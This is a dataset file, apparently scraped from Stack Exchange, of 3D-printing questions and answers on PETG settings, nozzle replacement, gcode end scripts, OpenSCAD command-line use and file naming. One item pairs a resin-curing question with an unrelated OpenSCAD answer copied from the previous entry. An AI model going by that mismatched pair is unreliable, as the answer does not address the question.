~/Library/Application Support/OctoPrint/logs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.730067"}
{"id": "hf_eee6ee651a03", "question": "<p>I've started printing PETG recently and I'm happy with results so far, awesome strength and good looking (except for stringing). But I've noticed that PETG prints better with more distance nozzle-plate than usual, and under-extrusion make parts looking better than both normal/over-extrusion.</p>\n\n<ul>\n<li>What distance nozzle-plate is optimal for PETG? (i.e. the distance between nozzle and build plate during calibration)</li>\n<li>What extrusion percentage is optimal for PETG?</li>\n</ul>\n", "question_body": "", "answer": "I have printed literally kilometers of 2.85 mm PETG filament on various 3D printers, and frankly, I do not share your opinion on an increased calibration distance/offset (like using thicker paper when levelling you build plate or increasing the Z offset by G-code\n```\nM851\n```\n). I even lower the default first layer height in Ultimaker Cura (0.2 mm prints fine). I am aware that on the web there are folks that do increase the calibration offset, or increase the first layer height, but that should not be necessary on a well tuned printer with sufficient first layer adhesion (e.g. printing on glass with 3DLAC).\nFurthermore, the best extrusion multiplier for printing PETG is 100 % on a well tuned extruder for a constant diameter quality filament brand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.756264"}
{"id": "hf_597f3e94cd02", "question": "<p>I have a <a href=\"https://www.monoprice.uk/products/monoprice-maker-ultimate-3d-printer-uk\" rel=\"nofollow noreferrer\">Monoprice Maker Ultimate 3D Printer</a> and have tried to replace the nozzle.</p>\n\n<p>The nozzles I bought turned out to be too small.</p>\n\n<p><img src=\"https://i.imgur.com/iYnMTVf.jpg\" alt=\"Imgur\"></p>\n\n<p>What are the important specifications of a nozzle?</p>\n\n<ul>\n<li>Thread size</li>\n<li>Thread length</li>\n<li>That plastic tube thing?</li>\n</ul>\n\n<p>Monoprice is very bad at publishing the specs, can I work it out with a caliper?</p>\n", "question_body": "", "answer": "What part fits?\nA replacement nozzle needs to fit 3 parameters:\nThread diameter and pitch need to match up, to allow mounting\nThread length should be close to the original to allow secure fastening\nThe style needs to fit: there are quite some styles of nozzle - most are not lined, yours is PTFE lined to the nozzle (see also\nCan the filament tube be outside of the nozzle?\n)\nMonoprice nozzles are\nnot\ncompatible with what is known as Ultimaker Mk8 or E3D style (which you bought). They are Ultimaker Mk10 style.\nWhat's a good nozzle?\nNow, what separates a good replacement nozzle from a bad one?\ngood machining to leave no burs and a smooth interior.\na good inner geometry that allows easy flow\noutlet hole is to size\nFinding premade replacement parts\nAs a first measure to not get the wrong replacement parts, make sure to add the manufacturer of your printer to the search and then check the thread diameter if given. In your case, you might have to add Monoprice or Toymaker, as those use this style of nozzle.\nReverse engineering a Nozzle\nNow, which measurements do you need to reverse engineer it?\nnozzle front pitch angle\nhex head flat-to-flat & hight\nrecess diameter & hight\nscrew shaft relief diameter & hight\nthread outer diameter & length\ninner bore diameter at entry (and in case of a lined one: after the step) & corresponding depth of drilling\namount of chamfering\nWith these, it's possible to do do a CNC model or a sketch of the outside and produce pretty much blanks or shells on a lathe that just need their last little bit of drilling... and here comes the tricky part: till now, all could be accessed from the outside. We are missing one profile though: the last piece of the inner bore geometry.\nThis one can't easily be measured, but if one can push some plastic in, let it cool and then pull it out, one might get a molding of it, which might allow to reverse engineer a fitting drill for the last piece.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.781302"}
{"id": "hf_8f9ad57b185e", "question": "<p>Is there any risk of damaging stepper motors if I set too big travel speed?\nWhat is maximum safe travel speed?</p>\n\n<p>My printer is a German RepRap Neo.</p>\n\n<p>I currently use 120&nbsp;mm/s. Is it safe to increase this value to 200&nbsp;mm/s?\nWhat would my printer do if I set very big travel speed?</p>\n", "question_body": "", "answer": "Short answer\nno\nWe use stepper drivers to limit the current, the travel speed is at capped by the amount of current supplied by the stepper drivers. This prevents the stepper motors from damaging themselves. You can set 200mm/s in the slicer, but you have no guarantee that that will be reached in real life.\nOne thing to keep in mind though is that setting your travel speed too high can induce artifacts such: shifted layers, ghosting, uneven extrusion, etc. So the best thing is to keep the speeds within the specified limits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.830716"}
{"id": "hf_2a6dfa0505eb", "question": "<p>I want to create a micromouse project for fun that use 2 20&nbsp;mm&nbsp;x&nbsp;8.5&nbsp;mm (0.8&nbsp;mm shaft) motors. I have my own PCB as base. I want its built-in gears will be attached to two 3D-printed wheels with gears at the back of the wheels at each side. I'm having hard time to start designing the gears since I couldn't find any tutorial.</p>\n\n<p>(photo for reference and not mine)\n<a href=\"https://i.stack.imgur.com/ady1o.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ady1o.jpg\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/3JM9F.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3JM9F.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>My Question:</p>\n\n<ol>\n<li>How to design the gears at the back of the wheel? (I use Sketchup)</li>\n<li>Is 3d-printing such small objects possible?</li>\n</ol>\n", "question_body": "", "answer": "Designing gears is very difficult for a variety of reasons. Let me list what you should take into account:\nThe shape of the teeth are very peculiar, trapezoid shape will not work as the meshing will not be constant. Exact shape is controlled by the pressure angle\nIn lower number of teeth, teeth shape must be modified to avoid any locks, these are called cutoffs\nReducing the amount of material to print requires careful design, most people simply place circles but they cause weak points.\nHerringbone and double herringbone gears improve meshing but are even more difficult to design.\nFor the reasons stated above, creating gears by hand is next to impossible without special tools. Luckily for those who are searching for it, there are systems that generate gears for 3D printing. This\ncustomizer\nhas many options and is very open about the licensing, which is another issue with many scripts. For example, it is explicitly forbidden to print parts imported from the McMaster-Carr Catalogue.\nIf you use OpenSCAD,\nthis library\ncan create racks to go with the gears.\nThe parameters of the customizer are explained in the page. The script also contains explanations of every module and function.\nDisclaimer: Both scripts are mine, yet I do not earn anything when people use them. I created the library when I was unable to find the gears I needed, published with a relaxed license to help others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.854372"}
{"id": "hf_bd0f48e3be53", "question": "<p>After I level my Ender 3, the distance between the nozzle and the bed seems fine on both ends, but moving the bed on the Y axis shows that it's increasing and decreasing for three times, which I just cant fix.</p>\n\n<p>This only occurs on the left side - the right side is constant from beginning to end.\nAlso I've been using three different beds (the magnetic one and two glasses) to make sure it's really something else.</p>\n\n<p>I created <a href=\"https://www.youtube.com/watch?v=zqLqTGeljyw\" rel=\"noreferrer\">this video</a> to demonstrate the problem. </p>\n\n<p>I'm sure that this has something to do with the carriage wheel adjustment, but tightening those did not change anything.</p>\n\n<p>How do I get rid of this problem?</p>\n", "question_body": "", "answer": "Your video shows that your bed seems warped somewhat.\nAmmount of error\nAs I assume you did level the bed with a sheet of paper to be 0.1 mm thick, we can estimate the change of thickness. The thickest point seems to be 0.2 mm, the thinnest 0.05. that's in average an error of 0.075 mm for the first layer. If you can live with that, no need to touch it.\nFixing the issue\nBasically, if the error is too large for your liking, you need to fix it. To fix it, there are pretty much 2 ways. Remember that\nthe Ender-3 uses 24V\nwhen ordering parts!\nFix the part or install a replacement part\nIf you feel like you need to get it even flatter, you'll need to try to flatten the bed mechanically or replace it. You'll need to be comfortable to remove the BuildTak-clone surface, then remove the leveling screws, open the electronics enclosure, remove some hot glue, unhook the bed.\nThen you will need to flatten the bed in some way (grinding the upper side perfectly flat or bending it, replacing it for an entirely flat one).\nThen reinstall it, going through the uninstallation backward, and add a new build surface on it.\nSwitch to alternate leveling method: Mesh Bed Leveling\nIf you consider yourself to be able to do some intermediate to advanced modification of your printer, you can change the hotend carriage to one that allows mounting a distance sensor and changing the firmware to mesh-bed-leveling.\nYou'll need to get an induction or capacity sensor (common operation ranges for those are 6-36V, so perfectly fine with 24V) and\nsome way to couple that to the board\n, most likely an optocoupler. Print a new mounting for sensor and fans.\nTo install you open the electronics compartment, hook up your chosen 24V-5V coupler as extra to the Z-switch, hook the power supply of the sensor up and run it up to the printhead. Replace the mounting for the hotend cooling fan and part cooling fan and\nchange your firmware\n. Calibrate the height of the sensor to trigger correctly.\nI did flash a bootloader\nvia the ISP\non my ender-3 since then, so I can just flash the new firmware via a direct connection.\nLast words\nIn either way, after fixing, you should run a PID-tune on the machine.\nThermal Runaway might or might not be active, depending on your firmware iteration, so you should update it anyway, which might make Mesh Bed Leveling the slightly easier way to go.\nThis has\nnothing\nto do with the bed carriage wheels, as the bed hangs onto the carriage only via the screws in the corners.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.889806"}
{"id": "hf_e1982e360d86", "question": "<p>I just completed my first print on my Ender-3 and when the print finalized itself the nozzle didn't elevate itself to clear away from the piece. I watched as the nozzle slowly lowered itself into my print and destroy it. Here is the gcode generated by Slic3r used:</p>\n\n<pre>\n; Filament-specific end gcode\nG4 ; wait\nM221 S100\nM106 S0 ; turn off cooling fan\nM104 S0 ; turn off extruder\nM140 S0 ; turn off bed\nG91\nG1 F1800 E-3\nG90\nG1 Z{z_offset+min(layer_z+30, max_print_height)}{endif} ; Move print head up\nG28 X0 ; home x and y axis\nG1 Y180; Remove Print Position\nM84 ; disable motors\nM300 S2600 P100; Beep\n; filament used = 24040.5mm (57.8cm3)\n; total filament cost = 0.0\n</pre>\n\n<p><a href=\"https://i.stack.imgur.com/mZncw.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/mZncw.jpg\" alt=\"preview of the destruction\"></a></p>\n", "question_body": "", "answer": "Your print end code should have read something akin to this:\n```\n```\n; Filament sy end gcode\nG4 ; wait\nM221 S100\nM106 S0 ; turn off cooling fan\nM104 S0 ; turn off extruder\nM140 S0 ; turn off bed\n\n; End code\nG1 F1800 E-3 ; retract 3 mm\nG1 Z30 ; Move print head up 30mm\nG28 X0 ; home x and y axis\nM84 ; disable motors\nM300 S2600 P100; Beep\n```\n```\nThe problem with your end code is the\n```\nG90\n```\nfor\nabsolute\nmeasurements together with the formula\n```\nG1 Z{z_offset+min(layer_z+30, max_print_height)}{endif}\n```\nto set the height. The printer itself doesn't calculate anything. That what it doesn't interpret, it ignores, interpreting that whole thing as something crazy like\n```\nG1 Z30\n```\nto force the printer to go to Absolute 30 mm above absolute 0. To fix it,  your slicer would need to calculate\n```\n{z_offset+min(layer_z+30, max_print_height)}\n```\nfor the printer - which seems to come out to 30mm above the print and then an if-statement that is not started anywhere.\nGoing up 30 mm can be much easier be done by staying in\n```\nG91 ; relative measurements\n```\nand calling\n```\nG1 Z30\n```\nto go up another 30 mm, though this might be too high for the printer frame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.913897"}
{"id": "hf_706845de0a58", "question": "<p>OpenSCAD has <code>rotate</code> function which rotates the body around its origin axis.</p>\n\n<p>Is there a way to specify an arbitrary axis?</p>\n\n<p>For example, this rotates a cylinder around its center:</p>\n\n<pre><code>rotate(a=[90,0,0]) {\n  cylinder(h=10,r1=10,r2=10);\n}\n</code></pre>\n\n<p>How to make it rotate around its edge?</p>\n", "question_body": "", "answer": "```\nrotate()\n```\nalways rotates around the origin of the object following it.\nWhat you can do is to move your cylinder\naway\nfrom the origin, like this:\n```\n```\nrotate(a=[90,0,0]) {\n  translate([0,10,0]) cylinder(h=10,r1=10,r2=10);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.937630"}
{"id": "hf_2527b21c8a07", "question": "<p>Heads up: I'm not good with electronics and only have a vague idea of it's inner workings.</p>\n\n<p>I have a <a href=\"https://ru.aliexpress.com/item/3D-Printer-V6-Wade-Short-distance-J-head-Hotend-12V-for-1-75mm-3-0mm-Extruder/32810022530.html?spm=a2g0v.10010108.1000016.1.197a7c35uzmRpw&amp;isOrigTitle=true\" rel=\"noreferrer\">E3D V6 Extruder rated for 24&nbsp;V</a>, that i plan to use in my 3D printer. Will there be any problems with it if powered by 12&nbsp;V? Will it take longer to heat up? Will it be able to heat up enough to melt PLA? Will it work at all for that matter?\nIf there are any other quirks or potential problems that I overlooked, please let me know.</p>\n", "question_body": "", "answer": "Electrical engineering can be quite complex, but in this case you can save yourself with same simple equations/relations. Using the following formulae:\nVoltage (\n$\\ U$\n) equals current (\n$I$\n) multiplied by the electrical resistance (\n$R$\n)\n$$ U=I \\times R $$\nand\nPower (\n$P$\n) equals the square of the current multiplied by the electrical resistance\n$$ P=I^2 \\times R $$\ncan be rewritten using the first formula to:\n$$ P= \\frac{U^2}{R} $$\nApplying these formulae to a\n40 Watt, 24 V\nheater element, the electrical resistance (in\n$\\Omega $\n) is calculated by:\n$$ \\frac{{(24\\ V)}^2}{40\\ W}=14.4\\ \\Omega $$\nRunning this heater element with 12 V will lead to a power of\n$$ \\frac{{(12\\ V)}^2}{14.4\\ \\Omega}=10\\ W $$\nThe heat produced is proportional to the square of the current multiplied by the electrical resistance,\nhalving the voltage\nis\nquartering the heat output\n. This will heat up very slowly! If it is able to reach the required temperature that is. Calculating the temperature is far more difficult, but if you are interested in doing so, please look into\nthis answer\nfrom the\nElectrical Engineering\nStack Exchange.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:02.985968"}
{"id": "hf_d27174eb5448", "question": "<p>I have a Creatorbot 3D printer made by 3D PrinterWorks.  Their website appears to be down, as well as their Facebook page. To me it appears they are no longer around.</p>\n\n<p>I've installed Slic3r as 3D PrinterWorks has recommended in the handbook but cannot download the settings for this from the 3D PrinterWorks website, since that is down.  </p>\n\n<p>Does anyone know where I can get the Slic3r configuration file for the Creatorbot?</p>\n", "question_body": "", "answer": "Looks like 3dprinterworks.net went down sometime after March 2018 and 3dprinterworks.com went down in January 2019. Luckily the Wayback Machine still has the\nmachine's specs\n.\nHere is the instructions for entering settings in Slic3r as found\nhere\nin lieu of importing a profile. (Please note that I have not used Slic3r so the following is solely based on the link)\nThe key settings under General are\nBed size*: X = 305 mm; Y = 305 mm; and Z = 457 mm\nPrint center**: X = 152.5 mm; Y = 152.5 mm\nExtruders: 2\nHeated Bed: Checked\nUnder Extruder (each extruder should have its own settings so be sure to set up both)\nNozzle diameter: 0.4 mm\nExtruder 2 offset: 30.9 mm (good job, OP on finding the email stating this)\nEverything from Retraction and on is up to what works best for you\nThere may be a set of setting for acceleration (there is in Ultimaker Cura) which is 3000 mm/s\n2\nfor most printers, I think. This is the max acceleration, not to be confused with acceleration settings when slicing the model.\nThe next set of settings, though outside of the Slic3r link, regards the filament. The diameter should be 1.75 mm and the nozzle temperature should be within the range of the filament (e.g. PLA should be set within 180-220 °C) and a heated bed set to 50-60 °C. These parameters are filament dependent and not printer dependent (other than diameter).\nThat should be the settings that a profile would set for you. Thankfully there's not too many.\n```\n*There is a wizard for this section that may make input easier, but here is the build volume. \n**This setting may require whole numbers and may, in fact, not be a necessary setting at all.\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.021948"}
{"id": "hf_7983f849d16e", "question": "<p>Using CuraEngine with my Ender 3, I'm getting what I'd call inconsistent inner and outer dimensions - for example, a nominally 3&nbsp;mm peg is significantly larger than a 3&nbsp;mm hole, and it takes dimensions something like 2.9&nbsp;mm for the peg and 3.1&nbsp;mm for the hole to get them to fit. Is this level of error normal? Is it caused by overextrusion, or does CuraEngine run its paths along the curve of the slice rather than offset by approximately half the nozzle width inside the sliced region? The magnitude of the error being almost exactly 0.2&nbsp;mm, which is half of the 0.4&nbsp;mm nozzle diameter, makes me wonder if it's the latter.</p>\n", "question_body": "", "answer": "Filament expands slightly as it is extruded. Also, the width of the extrusion depends on the volume of plastic extruded (not the nozzle size), as well as the amount that it is \"squidged\" down. Some slicers (e.g. Simplify3D) allow you to specify the width of the extrusion that you desire, but I'm not sure if Cura does this. You can fine tune the width of extrusions by adjusting the flow rate. Note that apertures get larger as nozzles wear out, but this should not affect the width of the extrusion very much since the determining factor is volumetric flow rate.\nI would say that if you are getting a dimensional accuracy of +/- 0.1mm, you are doing pretty well. If you want to improve on this, you will need to calibrate your extruder and also monitor closely the average diameter of the filament that you are using. I have included a link to an external article, since doing this is beyond the scope of my answer. However, I doubt if it is possible to get push-fit accuracy with FDM printing without fudging the dimensions of the objects that you want to print.\n3D Hubs: How to calibrate, tune and fine tune your printer and filament", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.070070"}
{"id": "hf_a9fbe1fb83e3", "question": "<p>I've been trying to find a 3D printer filament which would not release any chemicals if in contact with heated water for a substantial amount of time. So far, I've easily ruled out both PLA and ABS, as they're not considered food safe from what I can find. I have found PETG filament, which seems to be food safe. </p>\n\n<p>My question is: \"Is there's anything special you'd have to do to make sure the print is food safe, or as in my case, to make sure it's safe for usage in a mug?\".</p>\n\n<p>I will be using a steel extruder as brass ones may contain lead.</p>\n", "question_body": "", "answer": "Many manufactures list their filaments as being food safe, but I would not treat this as \"gospel truth\". Apparently, the FDA considers PETG to be safe for food contact, but they are probably thinking about injection-moulded and vacuum-formed parts. Unfortunately, an initial search of the FDA's website did not yield any definitive information.\nEven if a particular filament is genuinely food safe, that does not mean that a 3D-printed part made from it will be food safe, since there will be an abundance of nooks and crannies where bacteria can lodge and reproduce. You would have to sterilise a utensil before and after every use to be absolutely safe.\nAnyway, good luck with making a water-tight mug with an FDM printer. You will probably have to seal it to make it water-tight, and then it will be the food-safety of the sealant that you will need to worry about. I would give it a miss, if I were you (at least, for other people's use). Items intended for one-time use would be OK, I suppose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.093089"}
{"id": "hf_608e9283ff84", "question": "<p>I have just built my first 3D printer, and I am having some problems. It is a Cartesian based 3D printer, using Marlin firmware and Pronterface software. My problem is homing the 3D printer. I do not have a probe to calibrate the z offset but I have all 6 endstops. The problem is that the \"ZMIN\" endstop isn't precise enough and my hotend is always either too far from or too close to the heatbed. Is there a way to manually set the home position, so when I start the printer, It just starts printing and it doesn't have to home again; Or maybe some other way to set the correct offset. It would also be helpful if I could use just the \"ZMAX\" plug, and then manually set the minimum Z position using a piece of paper.</p>\n", "question_body": "", "answer": "It is possible to \"home a printer\" without having endstops, technically, you don't\nrequire\nendstops, but it makes your job a lot easier if you want to print something!\nBasically, when you don't have endstops or limit switches, you need to define where the head of the printer is located. E.g. you can set the nozzle at [0, 0, 0] (origin in [x, y, z]) and add the command\n```\nG92\n```\nto your print G-code file that it is at that position using\n```\nG92 X0 Y0 Z0\n```\n(or any other location you use, e.g. you could engineer a parking position and refer to that position instead, note that you also need to write the movement commands to get out of that location safely). Don't forget to remove the homing command from your start code in your slicer, replace\n```\nG28\n```\nwith the\n```\nG92\n```\ncommand with appropriate X, Y and Z values.\nRegarding the inaccurate repetitive accuracy of your Z min endstop, it might be worth to find out why this is causing such a spread in triggering, maybe you need to invest in some new endstop switches or look more closely to the heated bed attachment to the frame.\nUsing Z max as a reference point is e.g. used by Ultimaker machines. The heated platform lowers to Z max; the printer knows from calibration and geometry how far it needs to rise to get to Z=0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.140069"}
{"id": "hf_d66d3f7e8cdb", "question": "<p>Kicked off the second long print in a series (printing Lack enclosure components). First 10 hour print was flawless. Started this one, saw the first layer laid down well, went to bed. Woke up to this (you can see the successful prints in the background):</p>\n\n<p><a href=\"https://i.stack.imgur.com/HYYcU.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/HYYcU.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>The whole heater block and nozzle is entombed in PLA. The leads to the heater and the thermistor are too. I'm assuming there's no solvent for this, and I'm better off just buying a new hot end.</p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "Yes\nI had a somewhat similar clog once, and I could fix it back up. However, it is a lot of work.\nHobbyist Way\nStep 1: heat\nAs long as the heater cartridge is still ok, just fire up the printer, move up the print head by 50 mm and wait some two or three minutes till the goop is warmed enough at the core to melt. Set the hot end to 200 °C and no cooling fan.\nStep 2: rough clean\nCheck the cables for your hot end and thermistor as long as the plastic has not yet softened up around them and especially surrounding the thermistor: When the glob is removed in one swoop, you might tear the lines! It's better to use a sculpting tool or exacto-blade on the softening plastic and make an opening that allows the glob to be pulled away safely with minimal pull on the cabling.\nWhen the blob has softened enough, you can just pull at the outer of the blob to pull it down. Use a tool like pliers and pull off the worst that still sticks to the hotend. Pulling the blob free can take a while, so be patient and careful.\nIf you have a soldering iron, you can use that as a heated scraper from the outside and skip on heating from the inside. If you have no temperature control (as if your thermosensor is shot) outside heat is the only safe way.\nStep 3: Cool down\nAfter having made a rough clean up from the outside, let it cool down so you can dismantle it.\nStep 4: dismantle and clean the hotend.\nThis is actually rather simple, and I will point\nto a question where I outlined that for a broken thermistor cartridge\n. You have a working thermosensor at least, so less problems on that front.\nShortcut\nIf you have a hot air gun for hot air soldering, you can be much faster! Skip step 1 to 3, dismantle the hotend and go straight to Step 4, dismantling it and cleaning it out of the machine with the hot air soldering tool as a heat source. Heat and scrape away, and get out the thermosensor and thermosensor as soon as possible to prevent destroying them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.197998"}
{"id": "hf_6007c920b859", "question": "<p>Flsun 3D Cube; Marlin 1.1.1; main board: Makerbase MKS Gen_L V1.0; running from either Repetier or OctoPrint.</p>\n\n<p>I was recently obliged to replace the main board when it stopped powering the heated bed. I got the new main board - same make, version, etc - got everything setup just as it was before, but the bed still doesn't heat. Multimeter shows zero across the board's heat bed contacts, whether using G-code from the terminal (in both Repetier and Octoprint), G-code in the print file, or the control panel on the front of the printer. The thermistor works: if I shine a heat lamp on the bed, it registers the temp change.</p>\n\n<p>Bad board? Something in the Merlin config I missed? Is the board smart enough to not power it on if the bed heater itself is bad?</p>\n", "question_body": "", "answer": "Considering:\nMultimeter shows zero across the board's heat bed contacts\nthis implies that\nIf you measured\nresistance\n, the heated bed has no resistance. Basically this implies that the bed has a short. This might be the reason why it is not working. If you would power it as such you create a short. Instead of replacing the board, you need to replace the heated bed. Typical values for a heated bed of about 200 x 200 mm are in the order of 1.2 Ω (measurements between 0.9 and 1.5 Ω are reasonable to be expected).\nIf you measured\nvoltage\n, the heated bed does not receive power for heating, or the power does not reach the bed (not turned on or broken wire?). It would then be wise to measure the resistance (of the bed and the wires). If the resistance is in the order of about 1.2 Ω (see above) for the bed, you could try to connect the heated bed directly to the PSU to see if it gets warm, if so, please disconnect immediately to prevent damage. From this experiment you can find whether the heated bed is broken (or the cables), or that the board is not functioning correctly, this is, however, strange as you tried 2 boards. A possible suspect could be the MOSFET that schedules the powering of the heated bed if you use an external MOSFET board that it.\nIf you measured\ncurrent\n, then you found out that no power is delivered to the board, but you also might have broken your board in the process, as measuring current is a (close to) 0 Ω connection and has to be done\nin line\nof a circuit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.248183"}
{"id": "hf_fb7cada9c593", "question": "<p>For a while now, my AmazonBasics PETG filament has been working like a charm. Now, it is balling up on my nozzle. I've tried slowing it down, re-leveling the bed, etc. I don't want to go through the hassle of replacing my nozzle with a Micro-Swiss all metal 0.4&nbsp;mm nozzle. I've tried the other extruder which I know works with PLA, but same results. I'm using a Flashforge Creator Pro(2016).</p>\n", "question_body": "", "answer": "PETG does this. PETG is like glue when soft this is why when you level the bed you have to add an additional 0.1 mm distance for PETG. PETG should not be as close as PLA, but futher away. It will stick to the hotend so preferably change the hotend from brass to a nickle plated nozzle (e.g. Micro Swiss, PETG does not stick to that nozzle at all).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.298149"}
{"id": "hf_efd1319bcbb5", "question": "<p>First, I'm using Linux Mint 18.3 (Sylvia). Until now, I've been using OpenSCAD with the GUI and never experienced issues. Now I try to start OpenSCAD from the command line, but it always opens an empty file, even if a file with the specified name exists. </p>\n\n<p>Since I have a rather big script, I'd like to generate the STL's via the CLI. Due to this error, I can not even do any tests for parameter passing.</p>\n\n<p>What I'd like to do is to issue a command (flom the command line or in a shell script) that says \"Set objectID to 1, render and export the result to stl\".</p>\n\n<p>Here is my M(N)WE:</p>\n\n<pre><code>// test.scad\n\nobjectID = 2;\n\n\nif (objectID == 1)  \ndifference(){  \n    cylinder(d=20, h=50, center=true);  \n    cylinder(d=16, h=50.2, center=true);      \n}\n\nelse if (objectID == 2)  \ndifference(){  \n    cube(50, center=true);  \n    cube([35,35,70], center=true);  \n}\n</code></pre>\n\n<p>Any help will greatly be appreciated.</p>\n", "question_body": "", "answer": "You can specify variable values from command line using:\n```\nopenscad     ...\\\n             ... \\\n             [ -D var=val [..] ] \\\n             ... \\\n             ... \\\n             filename\n```\nSee the\nOpenSCAD Manual\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.322661"}
{"id": "hf_a6c90c75ac03", "question": "<p>My model layers are printing much as I expect but the parts when removed from the plate are very soft and flexible and fail to harden any further in sunlight or UV lamplight.  A tall or slender part will bend and distort under its own weight while printing.  I am using LCD-T resin, I have increased time and reduced thicknesses and am now using 0.04&nbsp;mm layers at 20&nbsp;s and 255 brightness with no improvement.\nCan anyone suggest what I need to change?</p>\n", "question_body": "", "answer": "You can specify variable values from command line using:\n```\nopenscad     ...\\\n             ... \\\n             [ -D var=val [..] ] \\\n             ... \\\n             ... \\\n             filename\n```\nSee the\nOpenSCAD Manual\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.347068"}
{"id": "hf_a8ab13ad8719", "question": "<p>I have an issue with my Anet A8 printer and how it interlocks with Ultimaker Cura. </p>\n\n<p>I want to print this file named <code>Loki_hörner_v2.stl</code>and Cura slices it fine, but when it comes to printing all the preheat happens, but then it stops, not going on at all. What might be wrong here?</p>\n", "question_body": "", "answer": "Avoid naming\n```\n.gcode\n```\nfiles with non-ASCII characters\n(this includes\nEASCII\n)\nI know of no firmware on a printer that can handle files that have characters not present in the set of 95 non-control\nAmerican Standard Code for Information Interchange characters\nby default. Marlin, for example, can't process the characters\n```\nä\n```\n```\nö\n```\n```\nü\n```\n&\n```\n€\n```\nas these all are missing in the ASCII.\nAvoid having more than one\n```\n.\n```\nNowadays the\n```\n.\n```\nis no longer a fully reserved character in file names, so a file can be named\n```\n0.5mm Gauge Block.stl\n```\non Windows without problems.\nUltimaker Cura will\ncut\nthe name at the\n```\n.\n```\nbefore the extension when generating the\n```\n.gcode\n```\n. This is mainly done to prevent tons of errors that could crop up in firmware that might not be able to deal with it. Remember that this behavior can lead to overwriting files - our\n```\n0.5mm Gauge Block.stl\n```\nwould generate\n```\n0.gcode\n```\n, as would\n```\n0.1.5 Penholder.stl\n```\n(that follows a version naming convention).\nAvoid reserved characters\nAlso note that some characters 